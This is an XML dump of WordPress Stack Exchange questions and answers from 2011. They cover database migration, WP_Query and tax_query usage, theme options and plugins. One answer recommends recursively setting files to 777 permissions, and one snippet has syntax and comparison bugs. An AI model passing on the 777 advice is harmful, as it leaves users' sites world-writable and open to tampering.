  <row Id="12239" PostTypeId="1" AcceptedAnswerId="12255" CreationDate="2011-03-16T19:35:14.230" Score="2" ViewCount="211" Body="&lt;p&gt;I've been working away at a medium-size WordPress site. So far I've just been hosting the site on my local machine and showing it to internal consultants over our local network. Things are working well, and now it's time to show it off to the client. I've been using git all along, so pushing it to the dev server was a breeze. I duplicated the local DB and pushed it to the dev server manually, which was fairly easy except that I had to manually change a few URL entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: what's the best way to keep two instances of WordPress synced? I still have more work to do locally and the DB is going to need to get pushed up again. How do other people manage this in an automated way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thought I had was to write a git hook to pull the MySQL data down when I push from my local machine and have a hook on the other end to import the data when the dev server pulls. However, if I do this I'll have to worry about changes to the wp_options table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any strategies for making this sort of thing easy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2984" LastActivityDate="2011-03-16T22:34:00.857" Title="Migrating data between local and development server" Tags="&lt;database&gt;&lt;migration&gt;&lt;git&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="12240" PostTypeId="1" AcceptedAnswerId="12243" CreationDate="2011-03-16T19:48:34.283" Score="0" ViewCount="205" Body="&lt;p&gt;I've just installed XAMPP on Mac OSX and when trying to install a theme or plugin in WP admin, I'm getting this screen. I've never gotten this on my &lt;em&gt;shared&lt;/em&gt; hosting account. how to get rid of it on localhost?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VgCRV.png&quot; alt=&quot;WordPress challenge when installing new plugin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mipHI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-18T03:12:01.900" LastActivityDate="2011-03-18T03:12:01.900" Title="How to remove &quot;Connection Information&quot; requirement on localhost install of WP on MACOSX" Tags="&lt;security&gt;&lt;xampp&gt;&lt;local-installation&gt;&lt;mac&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="12241" PostTypeId="1" CreationDate="2011-03-16T19:55:23.923" Score="0" ViewCount="131" Body="&lt;p&gt;I have users when get an 'Invalid Error' when trying to edit the custom theme options in my theme, WPFolio. The options (just some CSS rules: page container color, font color, headline/body font, etc...) work as they should in Firefox, Safari, and IE and any changes they make there will show up in Chrome fine. But when they try to edit/save theme options in Chrome, they get an 'Invalid Value' error on a specific field when they try to save in Chrome, even if they haven't touched that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The weird thing is, I can't replicate the error no matter what browser I use...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the theme files on &lt;a href=&quot;https://github.com/slambert/wpfolio/blob/master/library/theme-options.php&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2357" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-16T20:42:36.313" LastActivityDate="2011-03-17T03:17:05.713" Title="'Invalid Error' when saving theme options - only in Google Chrome" Tags="&lt;errors&gt;&lt;theme-options&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12242" PostTypeId="1" AcceptedAnswerId="14954" CreationDate="2011-03-16T20:01:03.620" Score="0" ViewCount="92" Body="&lt;p&gt;I'm using the FLIR for Wordpress plugin (v0.8.9.2) with FancyFonts enabled. I'm running Wordpress 3.1. The problem I'm having is that it appears the plugin is cutting off a couple pixels off of the end of some of the text that it generates. It doesn't do it for all text, but where it happens, it happens consistently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0WV7r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PU3Ik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/asDQd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my search for a solution, I've found a number of people with this issue, but never any solutions. Any ideas would be greatly appreciated. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3466" LastActivityDate="2011-04-17T20:15:14.030" Title="Wordpress FLIR (Facelift Image Replacement) plugin clipping off end of text" Tags="&lt;plugins&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12243" PostTypeId="2" ParentId="12240" CreationDate="2011-03-16T20:04:59.840" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried updating the permissions for your WordPress files to 755 or 777?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thanks to @anu in the comments &lt;em&gt;(&lt;code&gt;~/Sites&lt;/code&gt; assumes you put websites are in the Mac's default website directory):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/Sites&#xA;sudo chmod -R 777 *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just checked my &lt;code&gt;httpd.conf&lt;/code&gt; file and here is what I found starting on line 127 so I think &#xA;@gabrielk's answer is probably what you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# running httpd, as with most system services.&#xA;#&#xA;User mikeschinkel&#xA;Group everyone&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you were to decide to use the built-in Apache a tool you should definitely consider getting for the Mac is &lt;a href=&quot;http://clickontyler.com/virtualhostx/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;VirtualHostX&lt;/strong&gt;&lt;/a&gt;. It manages all your Apache and your hosts files for setting up local &lt;em&gt;&quot;domains&quot;&lt;/em&gt;. It's one of my favorite tools on the Mac:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110317-113457.png&quot; alt=&quot;VirtualHostX Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-17T15:43:59.857" LastActivityDate="2011-03-17T15:43:59.857" CommentCount="7" />
  <row Id="12244" PostTypeId="2" ParentId="12239" CreationDate="2011-03-16T20:34:11.153" Score="3" ViewCount="" Body="&lt;p&gt;This has been discussed a few times so I'd suggest going over these threads then asking about any gaps you still see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/617/what-process-do-you-use-for-wordpress-development&quot;&gt;What process do you use for WordPress development?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately keeping the database in sync is the issue most struggle with. I simply don't really worry about it. I'll import some posts/CPT's if we have a new content type but that's about it the rest I do manually.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-16T20:34:11.153" />
  <row Id="12245" PostTypeId="2" ParentId="12241" CreationDate="2011-03-16T20:50:37.897" Score="1" ViewCount="" Body="&lt;p&gt;Ehm, yea. I don't know what exactly your problem is, so some notes about the code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/?all=1&quot; rel=&quot;nofollow&quot;&gt;You should use the settings API. Here's a (new) tutorial by Chip Bennet.&lt;/a&gt; The way you're calling your currently set options (one get_option call per sub-array) you have about 11 db-calls only for your options. If you don't think about switching to the settings API, you should anyway only call get_option once, save it into some variable like &lt;code&gt;$current_options = get_options('whatever');&lt;/code&gt; and then go through it with &lt;code&gt;$current_options['some_sub_arr'];&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to not be harsh, so please don't get this in the wrong throught: The file is close to unreadable (for me). So many unnecassary tabs and line breaks. I hoped i could help, but i can't really help you with your specific problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it helps: There's a &lt;strong&gt;lot&lt;/strong&gt; of other stuff i can say about this theme. I hope you can take some (positive) criticism (that helps making it better).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As long as you don't want to use a $var inside a string you don't have to use double quotes&#xA;Example:&lt;br&gt;&#xA;&lt;code&gt;array( &quot;key&quot; =&amp;gt; &quot;value&quot; )&lt;/code&gt; could be written as &lt;code&gt;array( 'key' =&amp;gt; 'value' )&lt;/code&gt; and will be &lt;strong&gt;much&lt;/strong&gt; faster (meassured up to 5x faster).&lt;/li&gt;&#xA;&lt;li&gt;When using numerical index arrays, then you don't have to write &lt;code&gt;array( '0' =&amp;gt; 'value' )&lt;/code&gt; it's a numerical array per default if you don't specify a key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Never&lt;/strong&gt; ever - &lt;em&gt;really: never ever&lt;/em&gt; - use names for variables like &lt;code&gt;$options&lt;/code&gt; when outside a class. Those will populate the global namespace and somewhen (surely) conflict with some other stuff&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To handle names centrally (and not spread across all files like &lt;code&gt;$options&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $wpfolio_options_default = array ( '...' =&amp;gt; '...' );&#xA;&#xA;    define ( 'WPFOLIO_OPTS', 'wpfolio_options_theme' );&#xA;&#xA;// your global $var for theme users - do this only when you're really sure that nothing will change in there. Ever.&#xA;$wpfolio_options = get_option( WPFOLIO_OPTS );&#xA;&#xA;    function template_tag_whatever() &#xA;    {&#xA;       // If you're in the need to change the name of the options field in the DB, change it above in the define call&#xA;       $all_options = get_option( WPFOLIO_OPTS );   &#xA;       // if you've made your options globaly available (if the behavior might change - themes may break, so do this with caution)&#xA;       // global $wpfolio_options&#xA;       // $background = $wpfolio_options['background_class'];&#xA;       $background = $all_options['background_class'];&#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;&amp;lt;?php echo $background; ?&amp;gt;&quot;&amp;gt;&#xA;         &amp;lt;!-- some stuff --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;// inside a template:&#xA;global $wpfolio_options;&#xA;if ( isset($wpfolio_options['portfolio_category']) )&#xA;{&#xA;echo $wpfolio_options['portfolio_category'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But: It's still better - and much easier - to deal with the settings API. The above example was only mentioned to show you how much easier it is to handle names through Constants (see STYLESHEETPATH, etc.).&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-17T03:17:05.713" LastActivityDate="2011-03-17T03:17:05.713" CommentCount="9" />
  <row Id="12247" PostTypeId="2" ParentId="6969" CreationDate="2011-03-16T21:01:20.363" Score="4" ViewCount="" Body="&lt;p&gt;The newest and most complete tutorial to the settings API can be found &lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/?all=1&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I'd suggest to take a look there. I used a pretty similar way myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidenote: You should really mark some answer a solution. &quot;0% acceptance rate&quot; will people hold back from answering your Qs anymore.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-16T21:01:20.363" />
  <row Id="12248" PostTypeId="1" AcceptedAnswerId="12249" CreationDate="2011-03-16T21:09:17.753" Score="0" ViewCount="65" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $rp = new WP_Query(array(&#xA;    'post_type' =&amp;gt; array( 'post','videos','projects' ),&#xA;    'orderby' =&amp;gt; 'date&amp;amp;order=DESC',&#xA;    'posts_per_page' =&amp;gt; 4&#xA;    ));&#xA;&#xA;    while ($rp-&amp;gt;have_posts()) : $rp-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed that if I change &lt;code&gt;date&amp;amp;order=DESC&lt;/code&gt; to &lt;code&gt;rand&lt;/code&gt;, it makes no difference, meaning the posts don't show up in random order even after multiple refreshes. Is there something wrong w/ this code?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-16T21:13:21.587" Title="Is there something wrong w/ this code?" Tags="&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="12249" PostTypeId="2" ParentId="12248" CreationDate="2011-03-16T21:13:21.587" Score="5" ViewCount="" Body="&lt;p&gt;It should be this:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Order_.26_Orderby_Parameters&quot; rel=&quot;nofollow&quot;&gt;WP_Query Order By Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $rp = new WP_Query(array(&#xA;    'post_type' =&amp;gt; array( 'post','videos','projects' ),&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'posts_per_page' =&amp;gt; 4&#xA;    ));&#xA;&#xA;    while ($rp-&amp;gt;have_posts()) : $rp-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-03-16T21:13:21.587" CommentCount="4" />
  <row Id="12252" PostTypeId="1" AcceptedAnswerId="12254" CreationDate="2011-03-16T22:07:42.213" Score="0" ViewCount="112" Body="&lt;p&gt;I'm having a lot of trouble using php query_posts(array('category__and'=&gt;array(1,3))) - it seems to be pulling anything that's in category 1 regardless of whether it's also in category 3 and I only want the posts if they exist in both categories.  And ultimately, I need a bunch of OR statements anyway, so is there a better way than query_posts to do this?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a page of posts that exist in a variety of multiple categories -- i.e: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;categories 1 AND 3 &#xA;OR categories 1 AND 5&#xA;OR categories 1 AND 6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not &#xA;categories 1 AND 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3997" LastActivityDate="2011-03-16T23:44:27.320" Title="And/Or Category Query" Tags="&lt;categories&gt;&lt;query&gt;" AnswerCount="3" />
  <row Id="12254" PostTypeId="2" ParentId="12252" CreationDate="2011-03-16T22:21:23.510" Score="1" ViewCount="" Body="&lt;p&gt;Strange, that usage of &lt;code&gt;category__and&lt;/code&gt; should be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for following logic I don't think you can accomplish anything that complex with query parameters. There are several possible ways to deal with it that I can think of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;simplify category structure and/or selection logic;&lt;/li&gt;&#xA;&lt;li&gt;modify raw SQL with &lt;code&gt;posts_where&lt;/code&gt; filter;&lt;/li&gt;&#xA;&lt;li&gt;store selection criteria in post meta.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-16T22:21:23.510" CommentCount="1" />
  <row Id="12255" PostTypeId="2" ParentId="12239" CreationDate="2011-03-16T22:34:00.857" Score="2" ViewCount="" Body="&lt;p&gt;Assuming your wp-config.php is already in place and in order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step 1. Mysqldump your development database&lt;/li&gt;&#xA;&lt;li&gt;Step 2. Replace all instances of development.domain.com to production.domain.com^^&lt;/li&gt;&#xA;&lt;li&gt;Step 3. Login to MySQL, run a SOURCE command to import data e.g. &lt;code&gt;source /path/to/file&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;^^ How to replace all instances of old domain with new: (1) Copy the script below. (2) &lt;code&gt;chmod +x&lt;/code&gt; it. (3) Run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;code&gt;./script.sh development-dump.sql &amp;gt; production-dump.sql&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sed -f&#xA;s/'\([^\\']*\)development.domain.com\([^\\']*\)'/'\1production.domain.com\2'/g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-16T22:34:00.857" CommentCount="1" />
  <row Id="12256" PostTypeId="1" AcceptedAnswerId="12258" CreationDate="2011-03-16T23:16:59.470" Score="2" ViewCount="296" Body="&lt;p&gt;I'd like to employ a sort order option in my theme to allow categories to be sorted similar to pages. Can anyone recommend a plugin that does this?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-07-04T23:06:32.947" Title="Plugin for custom sort order for categories?" Tags="&lt;theme-development&gt;&lt;categories&gt;&lt;sort&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="12257" PostTypeId="2" ParentId="12252" CreationDate="2011-03-16T23:31:40.847" Score="1" ViewCount="" Body="&lt;p&gt;You might be able to achieve something like what you're looking for with the &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tax_query&lt;/code&gt;&lt;/a&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case (untested, may yet fail), something like this will serve to get posts (in category 1) AND (in either category 3, 5, or 6) AND (NOT in category 4):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax_query = array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'terms' =&amp;gt; array( 1 ),&#xA;    ),&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'terms' =&amp;gt; array( 3, 5, 6 ),&#xA;    ),&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'terms' =&amp;gt; array( 4 ),&#xA;        'operator' =&amp;gt; &quot;NOT IN&quot;&#xA;    ),&#xA;);&#xA;&#xA;query_posts( array( 'tax_query' =&amp;gt; $tax_query ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-03-16T23:31:40.847" />
  <row Id="12258" PostTypeId="2" ParentId="12256" CreationDate="2011-03-16T23:33:12.983" Score="6" ViewCount="" Body="&lt;p&gt;I needed this requirement a while back. There's a &lt;a href=&quot;http://www.google.co.uk/search?q=wordpress+category+order&quot; rel=&quot;nofollow&quot;&gt;selection of plugins available&lt;/a&gt;, but nothing took my fancy. They were (in my opinion) either too bloated, poorly written, or the UI was either lacking or overly complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I stumbled upon &lt;a href=&quot;http://wordpress.org/extend/plugins/term-menu-order/&quot; rel=&quot;nofollow&quot;&gt;Term Menu Order&lt;/a&gt;. Essentially it adds a &lt;code&gt;menu_order&lt;/code&gt; field to the terms database, and you use it the same way as the menu order for pages. Very simple, does the job!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: I actually took the concept and rewrote in what I considered an improvement.   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's oh-so-slightly less heavy on memory&lt;/li&gt;&#xA;&lt;li&gt;Adds a simple &lt;code&gt;orderby=term_order&lt;/code&gt; argument available for term function&lt;/li&gt;&#xA;&lt;li&gt;Can control which taxonomies support ordering, either through the &lt;code&gt;register_taxonomy()&lt;/code&gt; call or with WordPress hooks&lt;/li&gt;&#xA;&lt;li&gt;Fixes one particular flaw - same terms in different taxonomies will share the same order, my plugin fixed this&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;If this takes your fancy I can share :)&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;My spin on the &lt;a href=&quot;http://www.mediafire.com/?6os09lh29o9p0yy&quot; rel=&quot;nofollow&quot;&gt;Term Order Plugin&lt;/a&gt; (MediaFire)&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MediaFire upload has had it's day, apologies. Will get a replacement set-up, perhaps on GitHub, soon...&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-25T17:37:21.737" LastActivityDate="2011-06-25T17:37:21.737" CommentCount="6" />
  <row Id="12259" PostTypeId="2" ParentId="12054" CreationDate="2011-03-16T23:35:11.187" Score="1" ViewCount="" Body="&lt;p&gt;I see that you are have a hard time on this so here: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    global $post;&#xA;    $curent_post = $post;&#xA;    $curent_post_id = $post-&amp;gt;ID&#xA;    $parents = array('4','6','8','10');&#xA;    if (in_array($post-&amp;gt;post_parent,$parents)){&#xA;        query_posts(&quot;post_type=page&amp;amp;post_parent=&quot;.$post-&amp;gt;post_parent.&quot;&amp;amp;orderby=menu_order&amp;amp;order=asc&quot;); &#xA;    }&#xA;    if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); &#xA;    if ($curent_post_id = $post-&amp;gt;ID){&#xA;        echo ' class=&quot;highlight&quot;';&#xA;    }&#xA;    ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and at the end of your loop add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_reset_query();&#xA;$post = $curent_post;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;no after that i would like to say that you really should use WP_Query instead of query_posts any time that its not the main query in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and when I'll get back I will post and example using wp_list_pages()&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-16T23:35:11.187" />
  <row Id="12260" PostTypeId="2" ParentId="12252" CreationDate="2011-03-16T23:44:27.320" Score="1" ViewCount="" Body="&lt;p&gt;You should be able to do it using the new tax_query arguments, like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array(&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'OR',&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'category',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array('term1', 'term3'),&#xA;            'operator' =&amp;gt; 'AND'&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'category',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array('term1', 'term5'),&#xA;            'operator' =&amp;gt; 'AND'&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'category',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; array('term1', 'term6'),&#xA;            'operator' =&amp;gt; 'AND'&#xA;        )&#xA;    )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All category/tag parameters are just wrappers for &lt;code&gt;tax_query&lt;/code&gt;'s to now, so when you use &lt;code&gt;category__in&lt;/code&gt; or any of the others, you're essentially just taking a shortcut to writing out a &lt;code&gt;tax_query&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-16T23:44:27.320" CommentCount="3" />
  <row Id="12261" PostTypeId="1" AcceptedAnswerId="12282" CreationDate="2011-03-16T23:59:03.363" Score="1" ViewCount="192" Body="&lt;p&gt;I tried asking the plugin author and while waiting for a response I figured I'd give this place a try too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what wordpress-popular-posts.php looks like: &lt;a href=&quot;http://pastebin.com/gDND77sR&quot; rel=&quot;nofollow&quot;&gt;pastebin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I can change in there to include custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe somewhere around line 132 since I'm calling the &lt;code&gt;wpp_get_mostpopular&lt;/code&gt; function? I suppose I'd need to add custom post types to the list of arguments but I'm not sure where that would be.&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="3714" LastEditorDisplayName="" LastEditDate="2011-03-17T01:23:16.427" LastActivityDate="2011-03-17T19:09:02.563" Title="Plugin: Wordpress Popular Posts &gt; Possible to include custom post types?" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12262" PostTypeId="1" CreationDate="2011-03-17T00:53:17.737" Score="0" ViewCount="280" Body="&lt;p&gt;Under Reading Settings, I can specify how many blog posts to display on a page. However, I would like to customize this a bit. For example, I want to only display 2 posts on the &quot;/&quot; page, but 3 posts on &quot;/page/2&quot;, &quot;/page/3&quot;, etc. Any way to customize the homepage to display one less post than the other pages?&lt;/p&gt;&#xA;" OwnerUserId="3999" LastActivityDate="2011-04-16T12:52:02.480" Title="How to Customize number of blog posts on first page?" Tags="&lt;posts&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12263" PostTypeId="2" ParentId="11270" CreationDate="2011-03-17T02:17:29.737" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure what problem you're trying to solve, but this may be worth looking at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gigpress.com&quot; rel=&quot;nofollow&quot;&gt;http://gigpress.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's designed for musicians and seems very well built out. Could be useful?&lt;/p&gt;&#xA;" OwnerUserId="2357" LastActivityDate="2011-03-17T02:17:29.737" />
  <row Id="12264" PostTypeId="1" AcceptedAnswerId="12277" CreationDate="2011-03-17T03:04:09.607" Score="0" ViewCount="96" Body="&lt;p&gt;I am using the publish_post action to run some checks on a user after their post is published:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$author_ID = ????&#xA;&#xA;add_action('publish_post', 'rhb_check_current_user', 10, $author_ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get the original author's ID?&lt;/p&gt;&#xA;" OwnerUserId="3525" LastEditorUserId="3525" LastEditorDisplayName="" LastEditDate="2011-03-17T03:20:19.123" LastActivityDate="2011-03-17T10:59:04.190" Title="get author of published post" Tags="&lt;plugin-development&gt;&lt;author&gt;&lt;best-practices&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="12265" PostTypeId="2" ParentId="12264" CreationDate="2011-03-17T03:43:34.627" Score="1" ViewCount="" Body="&lt;p&gt;I think &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_currentuserinfo&quot; rel=&quot;nofollow&quot;&gt;get_currentuserinfo()&lt;/a&gt; is what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-03-17T03:43:34.627" CommentCount="2" />
  <row Id="12266" PostTypeId="2" ParentId="12049" CreationDate="2011-03-17T06:12:59.863" Score="0" ViewCount="" Body="&lt;p&gt;Try the Redirection plugin: &lt;a href=&quot;http://urbangiraffe.com/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;http://urbangiraffe.com/plugins/redirection/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Redirection is a WordPress plugin to&#xA;  manage 301 redirections, keep track of&#xA;  404 errors, and generally tidy up any&#xA;  loose ends your site may have. This is&#xA;  particularly useful if you are&#xA;  migrating pages from an old website,&#xA;  or are changing the directory of your&#xA;  WordPress installation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="839" LastActivityDate="2011-03-17T06:12:59.863" />
